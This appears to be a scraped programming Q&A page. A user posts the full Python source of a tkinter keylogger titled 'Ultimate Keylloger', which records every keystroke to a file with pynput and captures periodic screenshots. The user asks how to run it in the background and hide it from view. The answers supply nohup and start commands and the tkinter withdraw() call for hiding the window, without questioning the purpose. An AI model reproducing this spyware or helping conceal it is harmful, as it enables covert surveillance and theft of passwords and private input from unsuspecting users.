简体   繁体   中英

How to run a python executable in background?

i have a program and it works perfectly I need to hide my program in the background when i press button Run in Background. but idk how can i do. which library should i use ? how can i do ?

and theres a way to hide my executable? so I can only see by opening the task manager Thankyou for who help ;)

ps: why im receiving "It looks like your post is mostly code; please add some more details."

from tkinter import *
from functools import partial
from pynput.keyboard import Listener
import threading
from PIL import ImageGrab
from random import randint

def grab():
    c = randint(1,9999)
    c = str(c)
    ImageGrab.grab().save("Uk" + c +".jpg", "JPEG")

def on_press(key):
        keyd=str(key)
        keyd=keyd.replace("'", "")
        translate_keys = {
        "Key.space": " ",
        "Key.shift_r": "",
        "Key.shift_l": "",
        "Key.enter": "\n", 
        "Key.alt": "",
        "_l": "",
        "Key.ctrl": "",
        "Key.shift": "",
        "Key.capsock": "",
        "Key.ctrl_l": "",
        "Key.backspace": "",
        "Key.esc": "",
        "Key.cmd": "",
        "Key.caps_lock": "",
         }

        for key in translate_keys:
                keyd = keyd.replace(key, translate_keys[key])

        print(keyd)
        with open("Uk.docx", "a") as o:
                o.write(keyd)

def start(arg):
        def starting(args):
                if args is 1:
                        lVar.set("Starting Listener")
                        lbStatus["fg"] = "white"
                        lbStatus["bg"] = "blue"
                if args is 2:
                        lVar.set("Starting Listener .")
                        lbStatus["fg"] = "white"
                        lbStatus["bg"] = "blue"
                if args is 3:
                        lVar.set("Starting Listener . .")
                        lbStatus["fg"] = "white"
                        lbStatus["bg"] = "blue"
                if args is 4:
                        lVar.set("Starting Listener . . .")
                        lbStatus["fg"] = "white"
                        lbStatus["bg"] = "blue"
        def running():
                lbStatus["fg"] = "white"
                lVar.set('[+] Listener Running')
                lbStatus["bg"] = "green"
        def not_original():
                lbStatus["fg"] = "white"
                lbStatus["bg"] = "blue"
                lVar.set("[!] Click Button Start ")
        def err_running():
                lbStatus["fg"] = "red"
                lVar.set('[!] Already Running ')
                lbStatus["bg"] = "black"
                threading.Timer(1, running).start()
        def err_notRunning():
                lbStatus["fg"] = "red"
                lbStatus["bg"] = "black"
                lVar.set("[!] Not Running ")
                threading.Timer(1, not_original).start()
        def repeat():
                threading.Timer(0.5,starting,[1]).start()
                threading.Timer(1, starting,[2]).start()
                threading.Timer(1.5, starting,[3]).start()
                threading.Timer(2, starting,[4]).start()
        global thr
        if arg == btStart:
                if thr is None:
                       #Start Listener
                       thr = Listener(on_press=on_press)
                       threading.Timer(0.1, repeat).start()
                       threading.Timer(2, repeat).start()
                       thr.start()
                       threading.Timer(5, running).start()
                       threading.Timer(50, grab).start() 


                else:
                        print("Ja rodando")
                        err_running()
        if arg == btStop:
                if thr is None:
                        print('Nao está rodando')
                        err_notRunning()
                else:
                        print("Parando proteção")
                        threading.Timer(1, not_original).start()
                        thr.stop()
                        thr.join()
                        thr = None
def runInBackground():
        pass

thr = None

#Controller
app = Tk()
#Estado
lVar = StringVar()
lbStatus = Label(app, textvariable= lVar , bg="blue", fg="white")
lbStatus.pack(side=BOTTOM, fill=X)
lVar.set("[!] Click Button Start")

#Button Start
btStart = Button(app, text="Start")
btStart.pack(side = TOP, fill=X)
btStart["command"] = partial(start, btStart)
#Button Stop
btStop = Button(app, text="Stop")
btStop.pack(side=TOP, fill=X)
btStop["command"] = partial(start, btStop)
#Button Backg
btBackground = Button(app, text="Run in Background", command=runInBackground)
btBackground.pack(side=TOP, fill=X)

#Window Configs
app.geometry("300x150+800+400")
app.title("Ultimate Keylloger")
app.maxsize(width= 300, height= 150)
app.minsize(width= 300, height= 150)
app.mainloop()

Try to run your program from the Terminal/Command Line.

It should be nohup python your_code.py > your_output.txt on Linux and start \\B python <your_code.py> > your_output.txt on Windows

I guess what you are trying, can be done using withdraw() api in tkinter.

app.withdraw() will hide your window and then can be brought back to view using app.deiconify()

The technical post webpages of this site follow the CC BY-SA 4.0 protocol. If you need to reprint, please indicate the site URL or the original address.Any question please contact:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM